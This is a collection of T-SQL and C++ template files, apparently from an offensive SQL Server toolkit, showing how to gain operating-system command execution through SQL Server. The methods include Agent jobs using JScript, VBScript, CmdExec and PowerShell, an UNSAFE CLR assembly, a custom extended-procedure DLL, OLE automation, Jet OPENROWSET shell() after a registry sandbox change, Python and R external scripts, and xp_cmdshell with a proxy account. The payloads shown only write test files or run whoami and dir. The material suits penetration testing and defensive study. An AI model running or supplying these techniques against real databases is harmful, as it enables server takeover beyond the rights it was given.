36 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_agentjob_activex_jscript.sql:
--------------------------------------------------------------------------------
1 | USE [msdb]
2 | GO
3 |
4 | /****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT] Script Date: 8/29/2017 11:17:16 AM ******/
5 | BEGIN TRANSACTION
6 | DECLARE @ReturnCode INT
7 | SELECT @ReturnCode = 0
8 | /****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:17:16 AM ******/
9 | IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
10 | BEGIN
11 | EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
12 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
13 |
14 | END
15 |
16 | DECLARE @jobId BINARY(16)
17 | DECLARE @user varchar(8000)
18 | SET @user = SYSTEM_USER
19 | EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT',
20 | @enabled=1,
21 | @notify_level_eventlog=0,
22 | @notify_level_email=0,
23 | @notify_level_netsend=0,
24 | @notify_level_page=0,
25 | @delete_level=1,
26 | @description=N'No description available.',
27 | @category_name=N'[Uncategorized (Local)]',
28 | @owner_login_name=@user, @job_id = @jobId OUTPUT
29 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
30 | /****** Object: Step [RUN COMMAND - ActiveX: JSCRIPT] Script Date: 8/29/2017 11:17:16 AM ******/
31 | EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: JSCRIPT',
32 | @step_id=1,
33 | @cmdexec_success_code=0,
34 | @on_success_action=1,
35 | @on_success_step_id=0,
36 | @on_fail_action=2,
37 | @on_fail_step_id=0,
38 | @retry_attempts=0,
39 | @retry_interval=0,
40 | @os_run_priority=0, @subsystem=N'ActiveScripting',
41 | @command=N'function RunCmd()
42 | {
43 | var objShell = new ActiveXObject("shell.application");
44 | objShell.ShellExecute("cmd.exe", "/c echo hello > c:\\windows\\temp\\blah.txt", "", "open", 0);
45 | }
46 |
47 | RunCmd();
48 | ',
49 | /** alternative option
50 | @command=N'function RunCmd()
51 | {
52 | var WshShell = new ActiveXObject("WScript.Shell");
53 | var oExec = WshShell.Exec("c:\\windows\\system32\\cmd.exe /c echo hello > c:\\windows\\temp\\blah.txt");
54 | oExec = null;
55 | WshShell = null;
56 | }
57 |
58 | RunCmd();
59 | ',
60 |
61 | **/
62 | @database_name=N'JavaScript',
63 | @flags=0
64 | --,@proxy_name=N'WinUser1'
65 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
66 | EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
67 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
68 | EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
69 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
70 | COMMIT TRANSACTION
71 | GOTO EndSave
72 | QuitWithRollback:
73 | IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
74 | EndSave:
75 |
76 | GO
77 |
78 |
79 | use msdb
80 | EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: JSCRIPT' ;
81 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_agentjob_activex_vbscript.sql:
--------------------------------------------------------------------------------
1 | USE [msdb]
2 | GO
3 |
4 | /****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT] Script Date: 8/29/2017 10:27:36 AM ******/
5 | BEGIN TRANSACTION
6 | DECLARE @ReturnCode INT
7 | SELECT @ReturnCode = 0
8 | /****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 10:27:36 AM ******/
9 | IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
10 | BEGIN
11 | EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
12 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
13 |
14 | END
15 |
16 | DECLARE @jobId BINARY(16)
17 | DECLARE @user varchar(8000)
18 | SET @user = SYSTEM_USER
19 | EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT',
20 | @enabled=1,
21 | @notify_level_eventlog=0,
22 | @notify_level_email=0,
23 | @notify_level_netsend=0,
24 | @notify_level_page=0,
25 | @delete_level=1,
26 | @description=N'No description available.',
27 | @category_name=N'[Uncategorized (Local)]',
28 | @owner_login_name=@user, @job_id = @jobId OUTPUT
29 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
30 | /****** Object: Step [RUN COMMAND - ActiveX: VBSCRIPT] Script Date: 8/29/2017 10:27:36 AM ******/
31 | EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - ActiveX: VBSCRIPT',
32 | @step_id=1,
33 | @cmdexec_success_code=0,
34 | @on_success_action=1,
35 | @on_success_step_id=0,
36 | @on_fail_action=2,
37 | @on_fail_step_id=0,
38 | @retry_attempts=0,
39 | @retry_interval=0,
40 | @os_run_priority=0, @subsystem=N'ActiveScripting',
41 | @command=N'FUNCTION Main()
42 |
43 | dim shell
44 | set shell= CreateObject ("WScript.Shell")
45 | shell.run("c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt")
46 | set shell = nothing
47 |
48 | END FUNCTION',
49 | @database_name=N'VBScript',
50 | @flags=0
51 | --,@proxy_name=N'WinUser1'
52 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
53 | EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
54 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
55 | EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
56 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
57 | COMMIT TRANSACTION
58 | GOTO EndSave
59 | QuitWithRollback:
60 | IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
61 | EndSave:
62 |
63 | GO
64 |
65 | use msdb
66 | EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT' ;
67 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_agentjob_cmdexec.sql:
--------------------------------------------------------------------------------
1 | USE [msdb]
2 | GO
3 |
4 | /****** Object: Job [OS COMMAND EXECUTION EXAMPLE - CMDEXEC] Script Date: 8/29/2017 11:23:50 AM ******/
5 | BEGIN TRANSACTION
6 | DECLARE @ReturnCode INT
7 | SELECT @ReturnCode = 0
8 | /****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:23:50 AM ******/
9 | IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
10 | BEGIN
11 | EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
12 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
13 |
14 | END
15 |
16 | DECLARE @jobId BINARY(16)
17 | DECLARE @user varchar(8000)
18 | SET @user = SYSTEM_USER
19 | EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC',
20 | @enabled=1,
21 | @notify_level_eventlog=0,
22 | @notify_level_email=0,
23 | @notify_level_netsend=0,
24 | @notify_level_page=0,
25 | @delete_level=1,
26 | @description=N'No description available.',
27 | @category_name=N'[Uncategorized (Local)]',
28 | @owner_login_name=@user, @job_id = @jobId OUTPUT
29 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
30 | /****** Object: Step [RUN COMMAND - CMDEXEC] Script Date: 8/29/2017 11:23:50 AM ******/
31 | EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - CMDEXEC',
32 | @step_id=1,
33 | @cmdexec_success_code=0,
34 | @on_success_action=1,
35 | @on_success_step_id=0,
36 | @on_fail_action=2,
37 | @on_fail_step_id=0,
38 | @retry_attempts=0,
39 | @retry_interval=0,
40 | @os_run_priority=0, @subsystem=N'CmdExec',
41 | @command=N'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt',
42 | @flags=0
43 | --,@proxy_name=N'WinUser1'
44 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
45 | EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
46 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
47 | EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
48 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
49 | COMMIT TRANSACTION
50 | GOTO EndSave
51 | QuitWithRollback:
52 | IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
53 | EndSave:
54 |
55 | GO
56 |
57 | use msdb
58 | EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - CMDEXEC' ;
59 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_agentjob_powershell.sql:
--------------------------------------------------------------------------------
1 | USE [msdb]
2 | GO
3 |
4 | /****** Object: Job [OS COMMAND EXECUTION EXAMPLE - POWERSHELL] Script Date: 8/29/2017 11:28:39 AM ******/
5 | BEGIN TRANSACTION
6 | DECLARE @ReturnCode INT
7 | SELECT @ReturnCode = 0
8 | /****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 8/29/2017 11:28:39 AM ******/
9 | IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
10 | BEGIN
11 | EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
12 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
13 |
14 | END
15 |
16 | DECLARE @jobId BINARY(16)
17 | DECLARE @user varchar(8000)
18 | SET @user = SYSTEM_USER
19 | EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL',
20 | @enabled=1,
21 | @notify_level_eventlog=0,
22 | @notify_level_email=0,
23 | @notify_level_netsend=0,
24 | @notify_level_page=0,
25 | @delete_level=1,
26 | @description=N'No description available.',
27 | @category_name=N'[Uncategorized (Local)]',
28 | @owner_login_name=@user, @job_id = @jobId OUTPUT
29 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
30 | /****** Object: Step [RUN COMMAND - POWERHSHELL] Script Date: 8/29/2017 11:28:39 AM ******/
31 | EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMMAND - POWERHSHELL',
32 | @step_id=1,
33 | @cmdexec_success_code=0,
34 | @on_success_action=1,
35 | @on_success_step_id=0,
36 | @on_fail_action=2,
37 | @on_fail_step_id=0,
38 | @retry_attempts=0,
39 | @retry_interval=0,
40 | @os_run_priority=0, @subsystem=N'PowerShell',
41 | @command=N'write-output "hello world" | out-file c:\windows\temp\blah.txt',
42 | @database_name=N'master',
43 | @flags=0
44 | --,@proxy_name=N'WinUser1'
45 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
46 | EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
47 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
48 | EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
49 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
50 | COMMIT TRANSACTION
51 | GOTO EndSave
52 | QuitWithRollback:
53 | IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
54 | EndSave:
55 |
56 | GO
57 |
58 | use msdb
59 | EXEC dbo.sp_start_job N'OS COMMAND EXECUTION EXAMPLE - POWERSHELL' ;
60 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_clr.sql:
--------------------------------------------------------------------------------
1 | -- Script: oscmdexec_clr.sql
2 | -- Description: Create a .net assembly to execute os commands, import into sql server, and map to stored procedures.
3 | -- https://blog.netspi.com/attacking-sql-server-clr-assemblies/
4 |
5 | /*
6 | // cmd_exec.dll
7 | // C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs
8 |
9 | using System;
10 | using System.Data;
11 | using System.Data.SqlClient;
12 | using System.Data.SqlTypes;
13 | using Microsoft.SqlServer.Server;
14 | using System.IO;
15 | using System.Diagnostics;
16 | using System.Text;
17 |
18 | public partial class StoredProcedures
19 | {
20 | [Microsoft.SqlServer.Server.SqlProcedure]
21 | public static void cmd_exec (SqlString execCommand)
22 | {
23 | Process proc = new Process();
24 | proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
25 | proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
26 | proc.StartInfo.UseShellExecute = false;
27 | proc.StartInfo.RedirectStandardOutput = true;
28 | proc.Start();
29 |
30 | // Create the record and specify the metadata for the columns.
31 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
32 |
33 | // Mark the beginning of the result set.
34 | SqlContext.Pipe.SendResultsStart(record);
35 |
36 | // Set values for each column in the row
37 | record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
38 |
39 | // Send the row back to the client.
40 | SqlContext.Pipe.SendResultsRow(record);
41 |
42 | // Mark the end of the result set.
43 | SqlContext.Pipe.SendResultsEnd();
44 |
45 | proc.WaitForExit();
46 | proc.Close();
47 | }
48 | };
49 | */
50 |
51 | -- Select the msdb database
52 | use msdb
53 |
54 | -- Enable show advanced options on the server
55 | sp_configure 'show advanced options',1
56 | RECONFIGURE
57 | GO
58 | -- Enable clr on the server
59 | sp_configure 'clr enabled',1
60 | RECONFIGURE
61 | GO
62 |
63 | -- Import the assembly
64 | CREATE ASSEMBLY my_assembly
65 | FROM 'c:\Windows\temp\cmd_exec.dll'
66 | WITH PERMISSION_SET = UNSAFE;
67 |
68 | -- Link the assembly to a stored procedure
69 | CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
70 | GO
71 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_customxp.cpp:
--------------------------------------------------------------------------------
1 | # Register xp via local path: sp_addextendedproc 'RunPs', 'c:\myxp.dll'
2 | # Register xp via UNC path: sp_addextendedproc 'RunPs', '\\servername\pathtofile\myxp.dll'
3 | # Run: exec RunPs
4 | # Unregister xp: sp_dropextendedproc 'RunPs'
5 |
6 |
7 | #include "stdio.h"
8 | #include "stdafx.h"
9 | #include "srv.h"
10 | #include "shellapi.h"
11 | #include "string"
12 |
13 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
14 | switch (ul_reason_for_call)
15 | {
16 | case DLL_PROCESS_ATTACH:
17 | case DLL_THREAD_ATTACH:
18 | case DLL_THREAD_DETACH:
19 | case DLL_PROCESS_DETACH:
20 | break;
21 | }
22 |
23 | return 1;
24 | }
25 |
26 | __declspec(dllexport) ULONG __GetXpVersion() {
27 | return 1;
28 | }
29 |
30 | #define RUNCMD_FUNC extern "C" __declspec (dllexport)
31 | RUNPS_FUNC int __stdcall RunPs(const char * Command) {
32 | ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C \" 'This is a test.'|out-file c:\\temp\\test_ps2.txt \" "), TEXT(" C:\\ "), SW_SHOW);
33 | system("PowerShell -C \"'This is a test.'|out-file c:\\temp\\test_ps1.txt\"");
34 | return 1;
35 | }
36 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_oleautomationobject.sql:
--------------------------------------------------------------------------------
1 | -- This is a TSQL template for executing OS commands through SQL Server using OLE Automation Procedures.
2 |
3 | -- Enable Show Advanced Options
4 | sp_configure 'Show Advanced Options',1
5 | RECONFIGURE
6 | GO
7 |
8 | -- Enable OLE Automation Procedures
9 | sp_configure 'Ole Automation Procedures',1
10 | RECONFIGURE
11 | GO
12 |
13 | -- Execute Command via OLE and store output in temp file
14 | DECLARE @Shell INT
15 | DECLARE @Shell2 INT
16 | EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
17 | EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "echo Hello World > c:\windows\temp\file.txt"'
18 |
19 | -- Read results
20 | DECLARE @libref INT
21 | DECLARE @filehandle INT
22 | DECLARE @FileContents varchar(8000)
23 |
24 | EXEC sp_oacreate 'scripting.filesystemobject', @libref out
25 | EXEC sp_oamethod @libref, 'opentextfile', @filehandle out, 'c:\windows\temp\file.txt', 1
26 | EXEC sp_oamethod @filehandle, 'readall', @FileContents out
27 |
28 | SELECT @FileContents
29 | GO
30 |
31 | -- Remove temp result file
32 | DECLARE @Shell INT
33 | EXEC Sp_oacreate 'wscript.shell', @Shell Output, 5
34 | EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "DEL c:\windows\temp\file.txt"'
35 | GO
36 |
37 | -- Disable Show Advanced Options
38 | sp_configure 'Show Advanced Options',1
39 | RECONFIGURE
40 | GO
41 |
42 | -- Disable OLE Automation Procedures
43 | sp_configure 'Ole Automation Procedures',1
44 | RECONFIGURE
45 | GO
46 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_openrowset.sql:
--------------------------------------------------------------------------------
1 | -- WORK IN PROGRESS
2 | -- Targeting custom DSN via linked query (openquery), openrowset, opendatasource
3 | -- Target xls and mdb variations
4 | -- May require https://www.microsoft.com/en-us/download/details.aspx?id=13255 on modern version...
5 | -- exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
6 |
7 | -- Enable show advanced options
8 | sp_configure 'show advanced options',1
9 | reconfigure
10 | go
11 |
12 | -- Enable ad hoc queries
13 | sp_configure 'ad hoc distributed queries',1
14 | reconfigure
15 | go
16 |
17 | -- Verify the configuration change
18 | select * from master.sys.configurations where name like '%ad%'
19 |
20 | -- Losen restrictions
21 | -- EXEC sp_MSset_oledb_prop
22 | EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
23 | EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
24 | EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0'
25 |
26 | EXEC sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1 -- Errors
27 | EXEC sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1
28 | EXEC sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0'
29 |
30 |
31 | -- Create linked servers
32 | -- Note: xp_dirtree could potentially be used to identify mdb or xls files on the database server
33 | exec sp_addlinkedserver @server='Access_4',
34 | @srvproduct='Access',
35 | @provider='Microsoft.Jet.OLEDB.4.0',
36 | @datasrc='C:\Windows\Temp\SystemIdentity.mdb'
37 |
38 | exec sp_addlinkedserver @server='Access_12',
39 | @srvproduct='Access',
40 | @provider='Microsoft.ACE.OLEDB.12.0',
41 | @datasrc='C:\Windows\Temp\SystemIdentity.mdb'
42 |
43 | EXEC master.dbo.sp_addlinkedserver @server = N'excelxx',
44 | @srvproduct=N'Excel', @provider=N'Microsoft.ACE.OLEDB.12.0',
45 | @datasrc=N'C:\windows\temp\test.xls', @provstr=N'Excel 15.0'
46 |
47 | -- List linked servers
48 | select * from master..sysservers
49 |
50 | -- Attempt queries
51 | SELECT * from openquery([Access_4],'select 1')
52 | SELECT * from openquery([Access_12],'select 1')
53 | SELECT * from openquery([Access],'select shell("cmd.exe /c echo hello > c:\windows\temp\blah.txt")')
54 | SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;Database=C:\windows\temp\test.xls', 'SELECT * FROM [Sheet1$]')
55 |
56 | -- Drop linked servers
57 | sp_dropserver "Access_4"
58 | sp_dropserver "Access_12"
59 |
60 | -- List linked servers
61 | select * from master..sysservers
62 |
63 | -- Look into additional examples for cmd exec
64 | SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0;Database=C:\windows\temp\test.xls', 'SELECT * FROM [Sheet1$]')
65 | select * from openrowset('SQLOLEDB',';database=C:\Windows\Temp\SystemIdentity.mdb','select shell("cmd.exe /c echo hello > c:\windows\temp\blah.txt")')
66 | select * from openrowset('microsoft.jet.oledb.4.0',';database=C:\Windows\System32\LogFiles\Sum\Current.mdb','select shell("cmd.exe /c echo hello > c:\windows\temp\blah.txt")')
67 | INSERT INTO OPENROWSET ('Microsoft.Jet.OLEDB.4.0', 'Excel 8.0;Database=G:\Test.xls;', 'SELECT * FROM [Sheet1$]')
68 | SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 8.0;Database=C:\testing.xlsx;', 'SELECT Name, Class FROM [Sheet1$]')
69 | SELECT * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0','Text;Database=C:\Temp\;','SELECT * FROM [Test.csv]')
70 | SELECT * FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0','Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')
71 | select * FROM OPENROWSET('MICROSOFT.JET.OLEDB.4.0','Excel 5.0;HDR=YES;DATABASE=c:\Book1.xls',Sheet1$)
72 | GO
73 |
74 | -- Sample sources
75 | -- https://stackoverflow.com/questions/36987636/cannot-create-an-instance-of-ole-db-provider-microsoft-jet-oledb-4-0-for-linked
76 | -- https://blogs.msdn.microsoft.com/spike/2008/07/23/ole-db-provider-microsoft-jet-oledb-4-0-for-linked-server-null-returned-message-unspecified-error/
77 |
78 |
79 | -- source: https://www.sqlservercentral.com/Forums/PrintTopic1121430.aspx
80 |
81 | -- Enable show advanced options
82 | sp_configure 'show advanced options',1
83 | reconfigure
84 | go
85 |
86 | -- Enable ad hoc queries
87 | sp_configure 'ad hoc distributed queries',1
88 | reconfigure
89 | go
90 |
91 | EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
92 | EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
93 |
94 | --===== This is an innocent enough setup.
95 | EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','C:\Windows\Temp\SystemIdentity.mdb';
96 | go
97 | --===== This verifies the current mode of the Jet engine so we can later verify that we set it back correctly.
98 | EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'; --Verify that it's a "2" for normal mode
99 | go
100 | --===== This makes it a wee bit more agressive. I'm using xp_rewrite to simulate an attack that can be made via T-SQL
101 | -- using a different method and without "SA" privs which I will not post nor provide a link to.
102 | EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; --Set a more aggressive mode
103 | EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'; --Verify that it's a "1" for normal mode
104 | go
105 | --===== This runs a harmless DOS command (DIR) but shows that once the "SandBoxMode" has been changed via a hack, DOS is available
106 | -- through OPENROWSET.
107 | SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',';database=C:\temp\ODBC.mdb','select shell("cmd.exe /c echo hello there c:\ > C:\windows\temp\test123.txt") as blah');
108 | go
109 | SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',';database=C:\temp\ODBC.mdb','select 1 as blah');
110 | SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',';database=C:\temp\ODBC.mdb','select ''stringvalue'' as blah');
111 |
112 | --===== Cleanup
113 | EXEC sp_dropserver 'testsql' --Drops the linked server we created above.
114 | EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',2 --Return to normal mode
115 | EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode' --Verify that it's a "2" for normal mode
116 |
117 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_pythonscript.tsql:
--------------------------------------------------------------------------------
1 | -- Requirement: Python must be setup during the installation.
2 |
3 | -- Enable advanced options
4 | sp_configure 'show advanced options',1
5 | reconfigure
6 | go
7 |
8 | -- Enable external scripts
9 | -- Requires a restart of the SQL Server service to take effect
10 | -- User must have "EXECUTE ANY EXTERNAL SCRIPT" privilege
11 | sp_configure 'external scripts enabled',1
12 | reconfigure WITH OVERRIDE
13 | go
14 |
15 | -- Run OS command via Python
16 | -- Source: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5
17 | exec sp_execute_external_script
18 | @language =N'Python',
19 | @script=N'import subprocess
20 | p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
21 | OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
22 | WITH RESULT SETS (([cmd_out] nvarchar(max)))
23 |
24 | -- Get Python version
25 | -- Source: https://gist.github.com/james-otten/63389189ee73376268c5eb676946ada5
26 | exec sp_execute_external_script
27 | @language =N'Python',
28 | @script=N'import sys
29 | OutputDataSet = pandas.DataFrame([sys.version])'
30 | WITH RESULT SETS ((python_version nvarchar(max)))
31 |
32 | -- Disable external scripts
33 | sp_configure 'external scripts enabled',0
34 | reconfigure
35 | go
36 |
37 | -- Disable advanced options
38 | sp_configure 'show advanced options',0
39 | reconfigure
40 | go
41 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_rscript.sql:
--------------------------------------------------------------------------------
1 | -- Requirement: R must be setup during the installation.
2 |
3 | -- Enable advanced options
4 | sp_configure 'show advanced options',1
5 | reconfigure
6 | go
7 |
8 | -- Enable external scripts
9 | -- Requires a restart of the SQL Server service to take effect
10 | -- User must have "EXECUTE ANY EXTERNAL SCRIPT" privilege
11 | sp_configure 'external scripts enabled',1
12 | reconfigure WITH OVERRIDE
13 | go
14 |
15 | EXEC sp_execute_external_script
16 | @language=N'R',
17 | @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
18 | WITH RESULT SETS (([cmd_out] text));
19 | GO
20 |
21 | -- Disable external scripts
22 | -- Requires a restart of the SQL Server service to take effect
23 | sp_configure 'external scripts enabled',0
24 | reconfigure WITH OVERRIDE
25 | go
26 |
27 | -- Disable advanced options
28 | sp_configure 'show advanced options',0
29 | reconfigure
30 | go
31 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_xpcmdshell.sql:
--------------------------------------------------------------------------------
1 |
2 | -- Re install
3 | sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
4 |
5 |
6 | -- re enable
7 | EXEC sp_configure 'show advanced options', 1;
8 | RECONFIGURE;
9 | GO
10 |
11 | EXEC sp_configure 'xp_cmdshell', 1;
12 | RECONFIGURE;
13 | GO
14 |
15 |
16 | -- run
17 | Exec master..xp_cmdshell 'whoami'
18 |
--------------------------------------------------------------------------------
/templates/tsql/oscmdexec_xpcmdshell_proxy.sql:
--------------------------------------------------------------------------------
1 | -- Summary
2 | -- Create a SQL Server login that maps to a database user/role
3 | -- that has been given explicit privs to execute xp_cmdshell
4 | -- once the xp_proxy_account has been configured with valid windows credentials
5 | -- ooook then
6 |
7 | USE MASTER;
8 | GO
9 |
10 | -- enable xp_cmdshell on the server
11 | sp_configure 'show advanced options',1
12 | reconfigure
13 | go
14 |
15 | sp_configure 'xp_cmdshell',1
16 | reconfigure
17 | go
18 |
19 | -- Create login from windows user
20 | CREATE LOGIN [SQLServer1\User1] FROM WINDOWS;
21 |
22 | -- Create xp_cmdshell_proxy
23 | EXEC sp_xp_cmdshell_proxy_account 'SQLServer1\User1', 'Password!';
24 |
25 | -- Create database role
26 | CREATE ROLE [CmdShell_Executor] AUTHORIZATION [dbo]
27 |
28 | -- Grant role privs to execute xp_cmdshell using proxy
29 | GRANT EXEC ON xp_cmdshell TO [CmdShell_Executor]
30 |
31 | -- Create a database user
32 | CREATE USER [user1] FROM LOGIN [user1];
33 |
34 | -- Add database user to the role
35 | EXEC sp_addrolemember [CmdShell_Executor],[user1];
36 |
37 | -- Grant user1 database user privs to execute xp_cmdshell using proxy directly
38 | GRANT EXEC ON xp_cmdshell TO [user1]
39 |
40 |
41 | -- Login as user1 - will show SQLServere1\User1 instead of service account
42 | xp_cmdshell 'whoami'
43 |
--------------------------------------------------------------------------------
/templates/tsql/persist_reg_run.tsql:
